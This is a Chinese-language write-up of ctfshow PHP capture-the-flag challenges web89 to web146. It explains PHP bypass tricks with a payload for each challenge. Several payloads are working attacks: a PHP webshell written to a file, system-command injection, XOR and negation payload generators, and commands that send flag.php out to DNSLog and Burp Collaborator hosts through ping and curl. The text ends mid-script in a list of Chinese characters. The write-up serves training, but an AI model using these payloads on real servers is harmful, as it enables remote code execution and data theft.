目录
web89
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer(整数) 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
因为这里的主要是因为preg_match函数无法处理数组【这是他的一个漏洞,所以我们构建一个数组,num[ ]=后面可以随便填一些数字也可以不填,就可以直接出来。】
payload:num[]=0
web90
来了解一下intval:
语法
int intval ( mixed $var [, int $base = 10 ] )
参数说明:
- $var:要转换成 integer 的数量值。
- $base:转化所使用的进制。
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
- 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
- 如果字符串以 "0" 开始,使用 8 进制(octal);否则,
- 将使用 10 进制 (decimal)。
4476的16进制:0x117c
4476的8进制:010574
看本地运行的结果
就是说,如果第二个参数是0的话,会根据第一个参数输入的进制进行10进制转换
第一个就是16进制转10进制
第二个就是8进制转10进制
intval取的是我们所输入内容开头的整数,也就是说我们传入含有字符的字符串,例如?num=4476a,那么intval(“4476a”)也等于4476
payload:num=4476a
payload2:num=010574
payload3:num=0x117c
web91
preg_match 函数用于执行一个正则表达式匹配
^ 表示匹配文本的起始位置
/i 表示匹配大小写
/m 表示多行匹配
(10条消息) 正则表达式中/g /i /m /e /x /s的用法_正则表达式/g_qq_39527503的博客-CSDN博客
解释一下上面两个if就是说多行之内要有php,一行之内不能有php
paylaod:cmd=%0aphp (%0a是换行的意思)
web92
和web90差不多,还有一种写法
可以看到4476e123是以科学计数法方式的,可以绕过第一个if判断,intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取,所以intval遇到4476e123会变成4476
paylaod:4476e123
web93
过滤了a-z用不了16进制和科学计数法了,用8进制
payload:010574
web94
这道题只需要注意一下 strpos函数是查找字符串首次出现的位置
第一个if是强等判断(即判断类型又判断内容)
第三个if的意思 传进来的字符串必须要有0,而且是不能以0开头
对于strpos()函数,我们可以利用换行(%0a)和空格进行绕过
payload1:?num=%0a010574
payload2:?num= 010574(前面加了空格,用 %20 + 都可以都是空格的意思)
payload3:?num=4476.0 (绕过强等判断)
payload4:?num=+4476.0
web95
过滤了. 用web94没用.的payload即可
web96
$_GET[u]是弱类型比较可以在前面加路径绕过比较,但是文件还是可以正常读取
payload:u=./flag.php
payload:u=/var/www/html/flag.php
web97
a要不等于b,但是md5要相等,可以用数组,MD5数组的话返回的是相同的值
payload:a[]=1&b[]=2
web98
其实就是看三元表达式(真2假3)
看下这4行的意思
//如果有get参数那么get=$_post否则get=flag
//如果get的flag变量等于flag那么get=cookie
//如果get的flag变量等于flag那么get=$_SERVER
//如果get的http_flag变量等于flag,那么输出 flag
中间的代码没有作用,因为我们不提交 flag 参数
利用第一行和第四行:先让get有参数让它为真,从而拿post数据
payload:get传参 ?1=1 (随便什么都可以)
post传参 HTTP_FLAG=flag
另一种:get传参让它拿post数据,post传入flag=flag拿cookie数据,cookie则传入第四行的判断
payload2:get传参 ?1=1 (随便什么都可以)
post传参 flag=flag (让它进入第二行的判断,拿cookie数据)
cookie传参 HTTP_FLAG=flag
web99
for循环里面的意思是取随机数1到36之间一个数,1到37之间一个数,1到38一个数,直到1到877,然后把每次拿到的随机数追加到allow数组里面
in_array判断allow数组里面是否有n参数,
看下我本地运行的一个结果,可以看到里面是字符串也可以判断成功的
payload:get传参 n=1.php
post传参 content=<?php eval($_POST[a]);?>
web100
is_numeric检测变量是否为数字或数字字符串
v0那一行:赋值的优先级要高于and,所以不用管v2 v3是不是数字,只会把v1赋值给v0
if匹配v2里面不能有;号,v3里面要有;号
payload:?v1=21&v2=var_dump($ctfshow)/*&v3=*/;
payload2:?v1=1&v2=eval($_POST[a])?>%23&v3=;
post的a变量直接rce
?>是为了闭合,%23是#,是为了注释后面的
web101
ReflectionClass
这个类的意思是说根据传进去的参数实例化ctfshow类或者别的类
传进去之后变成 new ReflectionClass('ctfshow')
payload:?v1=1&v2=echo new ReflectionClass&v3=;
web102
substr截取函数 从下标为2的位置截取到后面
call_user_func回调函数:调用v1函数,参数是$s
<?=`cat *`; base64加密后是PD89YGNhdCAqYDs,
16进制编码之后是 5044383959474e6864434171594473
hex2bin函数:把十六进制值转换为 ASCII 字符:(可以看到是可以把16进制还原回去)
使用hex2bin函数后可以直接转换成base64的结果,然后在用伪协议base64解码写入文件
payload:v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
v1=hex2bin
前面加的11是因为substr会从第三位开始截断,所以随便写都可以
也可以用下面这个加密base64在16进制之后也是全部是数字
<?php eval ( $_POST[ _ ] ) ;
995044397761484167494756325957776749436767494352665545395456467367587942644943417049447367
web103
解法同上
web104
payload:传两个相同的数进去即可
payload 2:用数组也可以绕过
payload 3:aaK1STfY 和 aaO8zKZF 的hash值是一样的
web105
foreach 循环用于迭代一个列表或集合变量的值
就是比如get传入a=1第一个foreach的$key就是a,$value就是1,利用die($error) 这里退出会输出$error,所以将flag的值赋值给他就能得到flag,当然第一个if不让,所以我们利用一个跳板
payload:GET: ?suces=flag POST: error=suces
web106
用数组绕过
web107
parse_str() 函数把查询字符串解析到变量中。
语法
parse_str(string,array)
参数 | 描述 |
---|---|
string | 必需。规定要解析的字符串。 |
array | 可选。规定存储变量的数组名称。该参数指示变量存储到数组中。 |
举个栗子:
get_defined_vars()这个函数是所有注册的变量
可以看到我本地执行的结果,变量num的值是aaa=123,而变量aaa的值是123,就是把字符串里面的变量名和对应值,成功创建变量并赋值
第二个参数则是存储到这个数组里面,以键值对的方式,第一次打印的时候没有值,经过parse_str后里面有值的信息了
接下来回到题目
就是把v1这个字符串解析成变量存到v2里面,然后判断flag变量和传进来的v3变量是否md5相等
第一种,v3我们能控制,flag变量我们也能控制,那么随便加密一个数的md5,在把这个数的md5传给flag,把这个数本身传给v3
payload: GET:v3=a
POST:v1=flag=0cc175b9c0f1b6a831c399e269772661
第二种, v1=空 v3[]=1因为MD5数组会是null,而没有flag这个变量 所以会相等
payload2: GET:v3[]=1
POST:v1=
第三种,则是有flag变量,但是flag变量的值为空
payload3: GET:v3[]=1
POST:v1=flag=
web108
strrev函数意思是反转字符串
0x36d这个16进制由于没加单引号不是字符串所以是可以当作877这个10进制数的
ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
payload:c=a%00778
web109
要找异常处理类,给他输入什么值,返回什么值的
payload: ?v1=Exception&v2=system('tac fl36dg.txt')
payload2:?v1=Reflectionclass&v2=system('tac fl36dg.txt')
payload3:用匿名类绕过 ?v1=class{ public function __construct(){ system('ls'); } };&v2=a
web110
filesystemiterator 遍历文件类
DirectoryIterator 遍历目录类
getcwd()函数 获取当前工作目录 返回当前工作目录
payload: ?v1=FilesystemIterator&v2=getcwd
然后直接访问这个文件即可
web111
GLOBALS() 函数会以字典类型返回当前位置的全部全局变量。
利用点和前面那题变量覆盖差不多
把这个函数的结果赋值给ctfshow这个变量,然后再输出
payload: ?v1=ctfshow&v2=GLOBALS
web112
四种都可以:
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php
web113
payload1:绕过is_file函数
利用函数所能处理的长度限制进行目录溢出(大概超过20次软连接)
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php
payload2:compress.zlib://flag.php
web114
直接伪协议读取
payload: php://filter/resource=flag.php
web115
is_numeric():可以在前面加空格绕过
trim函数:移除字符串两侧的空白字符或其他预定义字符
参数 | 描述 |
---|---|
string | 必需。规定要检查的字符串。 |
charlist | 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:
|
trim():过滤%20普通空格符,%09制表符,%0a换行符,%0d回车符,%00空字节符,%0b垂直制表符
%0c换页键 可以绕过
!==一个是强不等 ==一个是弱等
payload:num=%0c36
web123
PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格 + . [转换为_
但是有一个特性可以绕过,使变量名出现.之类的
特殊字符[, GET或POST方式传参时,变量名中的[也会被替换为_,但其后的字符就不会被替换了
如 CTF[SHOW.COM=>CTF_SHOW.COM
payload:CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo $flag
payload2:走if正常输出flag
get: ?$fl0g=flag_give_me;
post: CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])
payload3:利用parse_str,用+截断,走if正常输出flag
get: ?a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
web125
在123的基础上过滤了一些字符,但还是可以用123的第二解,第三解
还能这样变量覆盖:接受post的键值对进行变量覆盖
extract()函数用于将数组中的变量导入到当前的符号表中。 它需要一个关联数组数组,并将键作为变量名和值作为变量值
PHP的符号表是干什么的?底层原理是什么?-阿里云开发者社区 (aliyun.com)
payload:
post:CTF_SHOW=&CTF[SHOW.COM=&fun=extract($_POST)&fl0g=flag_give_me
web126
$_SERVER[argv] argv是所有参数的一个数组
来看下本地的执行效果:
传进去的值是:a=1+fl0g=flag_give_me的话
这个数组的第0位是 a=1
这个数组的第1位是 fl0g=flag_give_me
而用parse_str($a[1]) 这样把第1位的数变成变量从而让它赋值去相等
payload:利用parse_str,用+也就是空格截断,走if正常输出flag
get: ?a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
web127
PHP中的$_SERVER变量详解_慕课手记 (imooc.com)
$_SERVER['QUERY_STRING'] 获取?后面的
php变量名中点和空格会变成_, “.”过滤了,+过滤了,用空格
payload:?ctf show=ilove36d
web128
特殊字符作为函数的只有一个就是gettext,它有个别名"_" 直接用也可以
小知识点: _()是一个函数
_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll
注册的变量:get_defined_vars()函数
payload:f1=_&f2=get_defined_vars
web129
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)
就是要让它有ctfshow这几个字符但是不能是在最前面
payload: /ctfshow/../../../../var/www/html/flag.php 查看源代码获得 flag
web130
ctfshow前面要加字符才能匹配正则,所以什么都不加不进入if,直接输出flag
payload:f=ctfshow
web131
第一个if需要ctfshow前面不能有字符,第二个if需要为36Dctfshow
正则表达式超过100万个字符是会溢出的
paylaod:拿python生成一个100万字符在加上36Dctfshow
url='题目地址url'
data={
'f':'vaar'*250000+'36Dctfshow'
}
resp=requests.post(url=url,data=data)
print(resp.text)
web132
访问/robots.txt得到/admin,访问/admin得到代码
在php中&&比||先运算,所以flase并且flase 或者 true,从而绕过
只需要username=admin即可,不用管前面是否等于
web133
先了解一下linux里面的一下命令:
|:
“|”是Linux管道命令操作符,简称管道符。使用此管道符“|”可以将两个命令分隔开,“|”左边命令的输出就会作为“|”右边命令的输入,此命令可连续使用,第一个命令的输出会作为第二个命令的输入,第二个命令的输出又会作为第三个命令的输入,依此类推。
grep:
Linux系统中的grep命令是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来。
看一下我本地:
1、这是我本地随便写的一个文件,下面是cat直接查看文件里的内容:
2、用一下管道符和grep是可以将flag这一行拿出来的:
我们传递一个`$F`; substr截断的只是$F的值的6个,他原来的值还是不变的,所以构造能让他执行自己的6个字符
先在DNSLog Platform生成一个随机地址点get那个按钮
然后把flag带上去访问它,后面-c 1的意思是只ping一下,访问后点右边的刷新即可看到flag
payload1:F=`$F`; ping `cat flag.php | grep ctfshow`.wutsuc.dnslog.cn -c 1
第二种:
利用Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)
curl是一个命令行访问URL的工具,作用是发出网络请求
#其中-F 为带文件的形式发送post请求
#xx是上传文件的name值,flag.php就是上传的文件
1、先点击burp的Collaborator---->>>点击复制到剪贴板
2、把网址在payload2里面替换,带着flag.php这个文件去访问这个网址
payload2:?F=`$F`; curl -X POST -F xx=@flag.php http://q8zbsz27q5hwfvl02ucrad84tvzvnk.burpcollaborator.net
点击执行,然后查看burp里面的信息,可以看到请求包里面附带着flag.php这个文件
web134
PHP 的 $_SERVER详解 - 菜鸟学院 (noobyard.com)
如果网址是这个:http://localhost/aaa/?p=222
那么获取的结果:
$_SERVER['QUERY_STRING'] = "p=222";
$_SERVER['REQUEST_URI'] = "/aaa/?p=222";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";
$_SERVER["QUERY_STRING"] 获取查询 语句,实例中可知,获取的是?后面的值
$_SERVER["REQUEST_URI"] 获取 http://localhost 后面的值,包括/
$_SERVER["SCRIPT_NAME"] 获取当前脚本的路径
$_SERVER["PHP_SELF"] 当前正在执行脚本的文件名
考察: php变量覆盖 利用点是 extract($_POST); 进行解析$_POST数组。 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。
payload:?_POST[key1]=36d&_POST[key2]=36d
web135
和133差不多,过滤了cat用nl
payload:?F=`$F`;+ping `nl flag.php|awk 'NR==15'|tr -cd "[a-z]"/"[0-9]"`.3ekdrw.dnslog.cn
- tr -cd 表示只要a-z 和0-9
- awk 'NR==15' 表示读15行
读完15行后在读16行
web136
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。
payload1: ls /|tee 1 访问1下载发现根目录下有flag文件
cat /f149_15_h3r3|tee 2 访问2下载就OK
payload2:直接修改题目
先 ls |xargs sed -i 's/die/echo/' 把die修改成echo
ls |xargs sed -i 's/exec/system/' 在把exec改成system
接下来就可以rce了
xargs 可以将管道或标准输入(stdin)数据转换成命令行参数,也能够从文件的输出中读取数据
xargs 一般是和管道一起使用
如果单纯是sed那么就只是把处理结果输出到命令行,实际上文件内容没有变化
sed -i:直接修改读取的文件内容,而不是显示到终端
web137
payload: POST: ctfshow=ctfshow::getFlag
php中的::是调用类中的静态方法或者常量,属性的符号
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.
web138
:被禁用了,call_user_func可以传数组
call_user_func函数里面可以传数组,第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。
payload:ctfshow[0]=ctfshow&ctfshow[1]=getFlag
web139
执行盲注
步骤一、ls / -1 能让目录一行一行显示出来
步骤二、 ls / -1 | awk "NR==1" 能指定输出的行数
步骤三、ls / -1 | awk "NR==1" | cut -c 1 能指定输出第几个字符
步骤四、shell语法,判断 if [ `ls / -1 | cut -c 1 | awk "NR==1"` == b ];then sleep 3;fi
判断成功后能成功延时3秒,payload语句有了
步骤五、写python脚本跑出flag文件名
步骤六、跑flag文件跑出flag
web140
只需要让$code==0 就可以,因为0==0
payload1: system(system())---> f1=system&f2=system
string system( string $command[, int &$return_var] ):成功则返回命令输出的最后一行,失败则返回 FALSE 。system()必须包含参数,失败返回FLASE;system('FLASE'),空指令,失败返回FLASE。
payload2: usleep(usleep())---> f1=usleep&f2=usleep usleep没有返回值。 所以intval参数为空,失败返回0
payload3: getdate(getdate())---> f1=getdate&f2=getdate
array getdate([ int $timestamp = time()] ):返回结果是array,参数必须是int型。所以getdate(getdate())---->getdate(array型)--->失败返回flase,intval为0。
web141
在php中1+phpinfo()+1 也可以执行
在php7之后,1+('phpinfo')()+1 这样也可以
构造取反
<?php
//在命令行中运行
/*author yu22x*/
fwrite(STDOUT, '[+]your function: ');
$system = str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT, '[+]your command: ');
$command = str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~' . urlencode(~$system) . ')(~' . urlencode(~$command) . ');';
传参的话要前面加个-:?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%93%8C);
web142
payload: 0和0x0
这里绕过因为是因为当成了8进制和16进制
web143
过滤了取反,用异或
现在php代码中替换正则,然后生成一个xor.txt文件
<?php
$myfile=fopen('xor.txt','w');
$result='';
for($i=0;$i<256;$i++){
for($j=0;$j<256;$j++){
if($i<16){
$a='0'.dechex($i); #如果小于16就只有一位数,在前面加0
}
else{
$a=dechex($i);
}
if($j<16){
$b='0'.dechex($j);
}
else{
$b=dechex($j);
}
$preg='/^\W+$/';
if(preg_match($preg,hex2bin($a))||preg_match($preg,hex2bin($b))){
echo '';
}
else{
$hang='%'.$a;
$lie='%'.$b;
$c=urldecode($hang)^urldecode($lie);
if(ord($c)>=32 & ord($c)<=126){
$result=$result.$c.' '.$hang.' '.$lie."\n";
}
}
}
}
fwrite($myfile,$result);
fclose($myfile);
在用python脚本去跑这个字典
import requests
import urllib
from sys import *
import os
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("xor.txt", "r")
while True:
t = f.readline() #readline() 方法用于从文件读取整行,包括 “\n” 字符
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return (output)
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
print(param)
传参数的时候过滤了-可以用*
web144
143的进阶版
v3只能是1位,在v2上面操作
payload:?v1=1&v3=-&v2=("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%01%00"^"%7f%60%60%20%60%60%60%2a")
web145
过滤了异或符号,可以用取反,后面的v3用三元符号绕过v1?v3:v3
payload:?v1=1&v2=2&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F):
web146
利用中文异或
<?php
header("Content-type:text/html;charset=utf-8");
$shell = "_GET";//要异或的字母
$result = "";
$arr =array();
//从3000+个汉字中获得通过取反得到assert。
$word = "
丑巴孔队办以允予劝双书幻玉刊示末未击打巧正扑扒功扔去甘世古节本术可丙左厉右石布龙平灭轧东卡北占业旧帅归且旦目叶甲申叮电号田由史只央兄叼叫另叨叹四生失禾丘付仗代仙们
仪白仔他斥瓜乎丛令用甩印乐句匆册犯外处冬鸟务包饥主市立闪兰半汁汇头汉宁穴它讨写让礼训必议讯记永司尼民出辽奶奴加召皮边发孕圣对台矛纠母幼丝式刑动扛寺吉扣考托老执巩圾
护壳志扭块声把报却劫芽花芹芬苍芳严芦劳克苏杆杠杜材村杏极李杨求更束豆两丽医辰励否还歼来连步坚旱盯呈时吴助县里呆园旷围呀吨足邮男困吵串员听吩吹呜吧吼别岗帐财针钉告我
没沈沉怀忧快完宋宏牢究穷灾良证启评补初社识诉诊词译君灵即层尿尾迟局改张忌际陆阿陈阻附妙妖妨努忍劲鸡驱纯纱纳纲驳纵纷纸纹纺驴纽奉玩环武青责现表规抹拢拔拣担坦押抽拐拖
拍者顶拆拥抵拘势抱垃拉拦拌幸招坡披拨择抬其取苦若茂苹苗英范直茄茎茅林枝杯柜析板松枪构杰述枕丧或画卧事刺枣雨卖矿码厕奔奇奋态欧垄妻轰顷转斩轮软到非叔肯齿些虎虏肾贤尚扩扫地扬场耳共芒亚芝朽朴机权过臣再协西压厌在有百存而页匠夸夺灰达列死成夹轨邪划迈毕至此贞师尘尖劣光当早吐吓虫曲团同吊吃因吸吗屿帆岁回岂刚则肉网年朱先丢舌竹迁乔伟传
乒乓休伍伏优伐延件任伤价份华仰仿伙伪自血向似后行舟全会杀合兆企众爷伞创肌朵杂危旬旨负各名多争色壮冲冰庄庆亦刘齐交次衣产决充妄闭问闯羊并关米灯州汗污江池汤忙兴宇守宅
字安讲军许论农讽设访寻那迅尽导异孙阵阳收阶阴防奸如妇好她妈戏羽观欢买红纤级约纪驰巡寿弄麦形进戒吞远违运扶抚坛技坏扰拒找批扯址走抄坝贡攻赤折抓扮抢孝均抛投坟抗坑坊抖乱利秃秀私每兵估体何但伸作伯伶佣低你住位伴身皂佛近彻役返余希坐谷妥含邻岔肝肚肠龟免狂犹角删条卵岛迎饭饮系言冻状亩况床库疗应冷这序辛弃冶忘闲间闷判灶灿弟汪沙汽沃泛沟
旺具果味昆国昌畅明易昂典固忠咐呼鸣咏呢岸岩帖罗帜岭凯败贩购图钓制知垂牧物乖刮秆和季委佳侍供使例版侄侦侧凭侨佩货依的迫质欣征往爬彼径所舍金命斧爸采受乳贪念贫肤肺肢肿
饺饼弯将奖哀亭亮度迹庭疮疯疫疤姿亲音帝施闻阀阁差养美姜叛送类迷前首逆总炼炸炮烂剃洁洪洒浇浊洞测洗活派洽染济洋洲浑浓津恒恢恰恼恨举觉宣室宫宪突穿窃客冠语扁袄祖神祝误
诱说诵垦退既屋昼费陡眉孩除险院娃姥姨姻娇怒架贺盈勇怠柔垒绑绒结绕骄绘给络骆绝绞统耕耗艳泰珠班素蚕顽盏匪捞栽捕振载赶起盐捎捏埋捉捆捐损都哲逝捡换挽热恐壶挨耻耽恭莲莫
荷获晋恶真框桂档桐株桥桃格校核样根索哥速逗栗配翅辱唇夏础破原套逐烈殊顾轿较顿毙致柴桌虑监紧党晒眠晓鸭晃晌晕蚊哨哭恩唤啊唉罢峰圆贼贿钱钳钻铁铃铅缺氧特牺造乘敌秤租积
秧秩称秘透笔笑笋债借值倚倾倒倘俱倡候俯倍倦健臭射躬息徒徐舰舱般航途拿爹爱颂翁脆脂胸胳脏胶脑狸狼逢留皱饿恋桨浆衰高席准座脊症病疾疼疲效离唐资凉站剖竞部旁旅畜阅羞瓶拳
球理捧堵描域掩捷排掉堆推掀授教掏掠培接控探据掘职基著勒黄萌萝菌菜萄菊萍菠营械梦梢梅检梳梯桶救副票戚爽聋袭盛雪辅辆虚雀堂常匙晨睁眯眼悬野啦晚啄距跃略蛇累唱患唯崖崭崇
圈铜铲银甜梨犁移笨笼笛符第敏做袋悠偿偶偷您售停偏假得衔盘船斜盒鸽悉欲彩领脚脖脸脱象够猜猪猎猫猛馅馆凑减毫麻痒痕廊康庸鹿盗章竟商族旋望率着盖粘粗粒断剪兽清添淋淹渠渐
粉料益兼烤烘烦烧烛烟递涛浙涝酒涉消浩海涂浴浮流润浪浸涨烫涌悟悄悔悦害宽家宵宴宾窄容宰案请朗诸读扇袜袖袍被祥课谁调冤谅谈谊剥恳展剧屑弱陵陶陷陪娱娘通能难预桑绢绣验继
混渔淘液淡深婆梁渗情惜惭悼惧惕惊惨惯寇寄宿窑密谋谎祸谜逮敢屠弹随蛋隆隐婚婶颈绩绪续骑绳维绵绸绿琴斑替款堪搭塔越趁趋超提堤博揭喜插揪搜煮援裁搁搂搅握揉斯期欺联散惹葬
葛董葡敬葱落朝辜葵棒棋植森椅椒棵棍棉棚棕惠惑逼厨厦硬确雁殖裂雄暂雅辈悲紫辉敞赏掌晴暑最量喷晶喇遇喊景践跌跑遗蛙蛛蜓喝喂喘喉幅帽赌赔黑铸铺链销锁锄锅锈锋锐短智毯鹅剩
稍程稀税筐等筑策筛筒答筋筝傲傅牌堡集焦傍储奥街惩御循艇舒番释禽腊脾腔鲁猾猴然馋装蛮就痛童阔善羡普粪尊道曾焰港湖渣湿温渴滑湾渡游滋溉愤慌惰愧愉慨割寒富窜窝窗遍裕裤裙
胀朋股肥服胁周昏鱼兔狐忽狗备饰饱饲变京享店夜庙府底剂郊废净盲放刻育闸闹郑券卷单炒炊炕炎炉沫浅法泄河沾泪油泊沿泡注泻泳泥沸波泼泽治怖性怕怜怪学宝宗定宜审宙官空帘实试
郎诗肩房诚衬衫视话诞询该详建肃录隶居届刷屈弦承孟孤陕降限妹姑姐姓始驾参艰线练组细驶织终驻驼绍经贯奏春帮珍玻毒型挂封持项垮挎城挠政赴赵挡挺括拴拾挑指垫挣挤拼挖按挥挪
一乙二十丁厂七卜人入八九几儿了力乃刀又三于干亏士工土才寸下大丈与万上小口巾山千乞川亿个勺久凡及夕丸么广亡门义之尸弓己已子卫也女飞刃习叉马乡丰王井开夫天无元专云扎艺
木五支厅不太犬区历尤友匹车巨牙屯比互切瓦止少日中冈贝内水见午牛手毛气升长仁什片仆化仇币仍仅斤爪反介父从今凶分乏公仓月氏勿欠风丹匀乌凤勾文六方火为斗忆订计户认心尺引
某甚革荐巷带草茧茶荒茫荡荣故胡南药标枯柄栋相查柏柳柱柿栏树要咸威歪研砖厘厚砌砍面耐耍牵残殃轻鸦皆背战点临览竖省削尝是盼眨哄显哑冒映星昨畏趴胃贵界虹虾蚁思蚂虽品咽骂
哗咱响哈咬咳哪炭峡罚贱贴骨钞钟钢钥钩卸缸拜看矩怎牲选适秒香种秋科重复竿段便俩贷顺修保促侮俭俗俘信皇泉鬼侵追俊盾待律很须叙剑逃食盆胆胜胞胖脉勉狭狮独狡狱狠贸怨急饶蚀
碧璃墙撇嘉摧截誓境摘摔聚蔽慕暮蔑模榴榜榨歌遭酷酿酸磁愿需弊裳颗嗽蜻蜡蝇蜘赚锹锻舞稳算箩管僚鼻魄貌膜膊膀鲜疑馒裹敲豪膏遮腐瘦辣竭端旗精歉熄熔漆漂漫滴演漏慢寨赛察蜜谱
嫩翠熊凳骡缩慧撕撒趣趟撑播撞撤增聪鞋蕉蔬横槽樱橡飘醋醉震霉瞒题暴瞎影踢踏踩踪蝶蝴嘱墨镇靠稻黎稿稼箱箭篇僵躺僻德艘膝膛熟摩颜毅糊遵潜潮懂额慰劈操燕薯薪薄颠橘整融醒餐
吻吭邑囤吮岖牡佑佃伺囱肛肘甸狈鸠彤灸刨庇吝庐闰兑灼沐沛汰沥沦汹沧沪忱诅诈罕屁坠妓姊妒纬玫卦坷坯拓坪坤拄拧拂拙拇拗茉昔苛苫苟苞茁苔枉枢枚枫杭郁矾奈奄殴歧卓昙哎咕呵咙
呻啰咒咆咖帕账贬贮氛秉岳侠侥侣侈卑刽刹肴觅忿瓮肮肪狞庞疟疙疚卒氓炬沽沮泣泞泌沼怔怯宠宛衩祈诡帚屉弧弥陋陌函姆虱叁绅驹绊绎契贰玷玲珊拭拷拱挟垢垛拯荆茸茬荚茵茴荞荠荤
嘴蹄器赠默镜赞篮邀衡膨雕磨凝辨辩糖糕燃澡激懒壁避缴戴擦鞠藏霜霞瞧蹈螺穗繁辫赢糟糠燥臂翼骤鞭覆蹦镰翻鹰警攀蹲颤瓣爆疆壤耀躁嚼嚷籍魔灌蠢霸露囊罐匕刁丐歹戈夭仑讥冗邓艾
夯凸卢叭叽皿凹囚矢乍尔冯玄邦迂邢芋芍吏夷吁吕吆屹廷迄臼仲伦伊肋旭匈凫妆亥汛讳讶讹讼诀弛阱驮驯纫玖玛韧抠扼汞扳抡坎坞抑拟抒芙芜苇芥芯芭杖杉巫杈甫匣轩卤肖吱吠呕呐吟呛
缀巢琳琢琼揍堰揩揽揖彭揣搀搓壹搔葫募蒋蒂韩棱椰焚椎棺榔椭粟棘酣酥硝硫颊雳翘凿棠晰鼎喳遏晾畴跋跛蛔蜒蛤鹃喻啼喧嵌赋赎赐锉锌甥掰氮氯黍筏牍粤逾腌腋腕猩猬惫敦痘痢痪竣翔
奠遂焙滞湘渤渺溃溅湃愕惶寓窖窘雇谤犀隘媒媚婿缅缆缔缕骚瑟鹉瑰搪聘斟靴靶蓖蒿蒲蓉楔椿楷榄楞楣酪碘硼碉辐辑频睹睦瞄嗜嗦暇畸跷跺蜈蜗蜕蛹嗅嗡嗤署蜀幌锚锥锨锭锰稚颓筷魁衙
腻腮腺鹏肄猿颖煞雏馍馏禀痹廓痴靖誊漓溢溯溶滓溺寞窥窟寝褂裸谬媳嫉缚缤剿赘熬赫蔫摹蔓蔗蔼熙蔚兢榛榕酵碟碴碱碳辕辖雌墅嘁踊蝉嘀幔镀舔熏箍箕箫舆僧孵瘩瘟彰粹漱漩漾慷寡寥
谭褐褪隧嫡缨撵撩撮撬擒墩撰鞍蕊蕴樊樟橄敷豌醇磕磅碾憋嘶嘲嘹蝠蝎蝌蝗蝙嘿幢镊镐稽篓膘鲤鲫褒瘪瘤瘫凛澎潭潦澳潘澈澜澄憔懊憎翩褥谴鹤憨履嬉豫缭撼擂擅蕾薛薇擎翰噩橱橙瓢蟥
谢谣谦属屡强粥疏隔隙絮嫂登缎缓编骗缘瑞魂肆摄摸填搏塌鼓摆携搬摇搞塘摊蒜勤鹊蓝墓幕蓬蓄蒙蒸献禁楚想槐榆楼概赖酬感碍碑碎碰碗碌雷零雾雹输督龄鉴睛睡睬鄙愚暖盟歇暗照跨跳
跪路跟遣蛾蜂嗓置罪罩错锡锣锤锦键锯矮辞稠愁筹签简毁舅鼠催傻像躲微愈遥腰腥腹腾腿触解酱痰廉新韵意粮数煎塑慈煤煌满漠源滤滥滔溪溜滚滨粱滩慎誉塞谨福群殿辟障嫌嫁叠缝缠静
霍霎辙冀踱蹂蟆螃螟噪鹦黔穆篡篷篙篱儒膳鲸瘾瘸糙燎濒憾懈窿缰壕藐檬檐檩檀礁磷了瞬瞳瞪曙蹋蟋蟀嚎赡镣魏簇儡徽爵朦臊鳄糜癌懦豁臀藕藤瞻嚣鳍癞瀑襟璧戳攒孽蘑藻鳖蹭蹬簸簿蟹
靡癣羹鬓攘蠕巍鳞糯譬霹躏髓蘸镶瓤矗
荧荔栈柑栅柠枷勃柬砂泵砚鸥轴韭虐昧盹咧昵昭盅勋哆咪哟幽钙钝钠钦钧钮毡氢秕俏俄俐侯徊衍胚胧胎狰饵峦奕咨飒闺闽籽娄烁炫洼柒涎洛恃恍恬恤宦诫诬祠诲屏屎逊陨姚娜蚤骇耘耙秦
